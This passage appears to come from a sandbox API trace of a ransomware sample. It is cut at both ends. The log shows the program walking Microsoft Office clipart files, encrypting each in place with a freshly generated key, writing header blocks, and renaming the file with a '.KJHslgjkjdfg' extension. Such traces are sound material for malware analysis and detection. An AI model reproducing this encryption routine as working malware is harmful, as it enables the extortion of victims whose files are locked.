CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.837] GetProcessHeap () returned 0x990000 [0211.837] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.837] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.838] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.838] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.838] GetProcessHeap () returned 0x990000 [0211.838] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.838] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.838] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.838] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.851] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.851] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.852] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.852] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.852] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.852] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.852] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xfc0, lpOverlapped=0x0) returned 1 [0211.852] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfc0) returned 1 [0211.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.852] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xfc0, lpOverlapped=0x0) returned 1 [0211.853] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.853] SetEndOfFile (hFile=0x130) returned 1 [0211.856] GetProcessHeap () returned 0x990000 [0211.856] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.856] GetProcessHeap () returned 0x990000 [0211.856] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.kjhslgjkjdfg")) returned 1 [0211.858] CloseHandle (hObject=0x130) returned 1 [0211.858] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3ef600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c3ef600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5b08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00479_.WMF", cAlternateFileName="")) returned 1 [0211.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.859] GetProcessHeap () returned 0x990000 [0211.859] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.859] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.859] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.862] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.862] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.862] GetProcessHeap () returned 0x990000 [0211.862] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.862] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.862] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.862] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.862] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.862] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.862] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.862] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.863] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.863] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.863] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5b08, lpOverlapped=0x0) returned 1 [0211.864] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b10, dwBufLen=0x5b10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b10) returned 1 [0211.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.864] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5b10, lpOverlapped=0x0) returned 1 [0211.864] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.864] SetEndOfFile (hFile=0x130) returned 1 [0211.867] GetProcessHeap () returned 0x990000 [0211.867] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.867] GetProcessHeap () returned 0x990000 [0211.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.kjhslgjkjdfg")) returned 1 [0211.869] CloseHandle (hObject=0x130) returned 1 [0211.869] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778cf500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x778cf500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00483_.WMF", cAlternateFileName="")) returned 1 [0211.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.870] GetProcessHeap () returned 0x990000 [0211.870] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.870] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.871] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.873] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.873] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.873] GetProcessHeap () returned 0x990000 [0211.873] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.873] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.873] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.873] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.873] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.873] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.873] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.874] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.874] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.874] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.874] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2bb8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2bb8, lpOverlapped=0x0) returned 1 [0211.875] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2bc0, dwBufLen=0x2bc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2bc0) returned 1 [0211.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.875] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2bc0, lpOverlapped=0x0) returned 1 [0211.875] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.875] SetEndOfFile (hFile=0x130) returned 1 [0211.878] GetProcessHeap () returned 0x990000 [0211.878] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.878] GetProcessHeap () returned 0x990000 [0211.878] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.kjhslgjkjdfg")) returned 1 [0211.880] CloseHandle (hObject=0x130) returned 1 [0211.880] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad09800, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ad09800, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00486_.WMF", cAlternateFileName="")) returned 1 [0211.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.884] GetProcessHeap () returned 0x990000 [0211.884] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.884] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.892] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.892] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.892] GetProcessHeap () returned 0x990000 [0211.892] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.892] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.893] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.893] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.893] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.893] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.893] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.893] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.893] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.893] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.893] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e58, lpOverlapped=0x0) returned 1 [0211.894] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e60) returned 1 [0211.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.895] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e60, lpOverlapped=0x0) returned 1 [0211.895] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.895] SetEndOfFile (hFile=0x130) returned 1 [0211.897] GetProcessHeap () returned 0x990000 [0211.897] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.897] GetProcessHeap () returned 0x990000 [0211.897] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.kjhslgjkjdfg")) returned 1 [0211.899] CloseHandle (hObject=0x130) returned 1 [0211.899] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3a800, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4c3a800, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00505_.WMF", cAlternateFileName="")) returned 1 [0211.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.901] GetProcessHeap () returned 0x990000 [0211.901] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.901] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.901] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0211.903] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.903] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.903] GetProcessHeap () returned 0x990000 [0211.903] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.904] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.904] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.904] WriteFile (in: hFile=0x130, 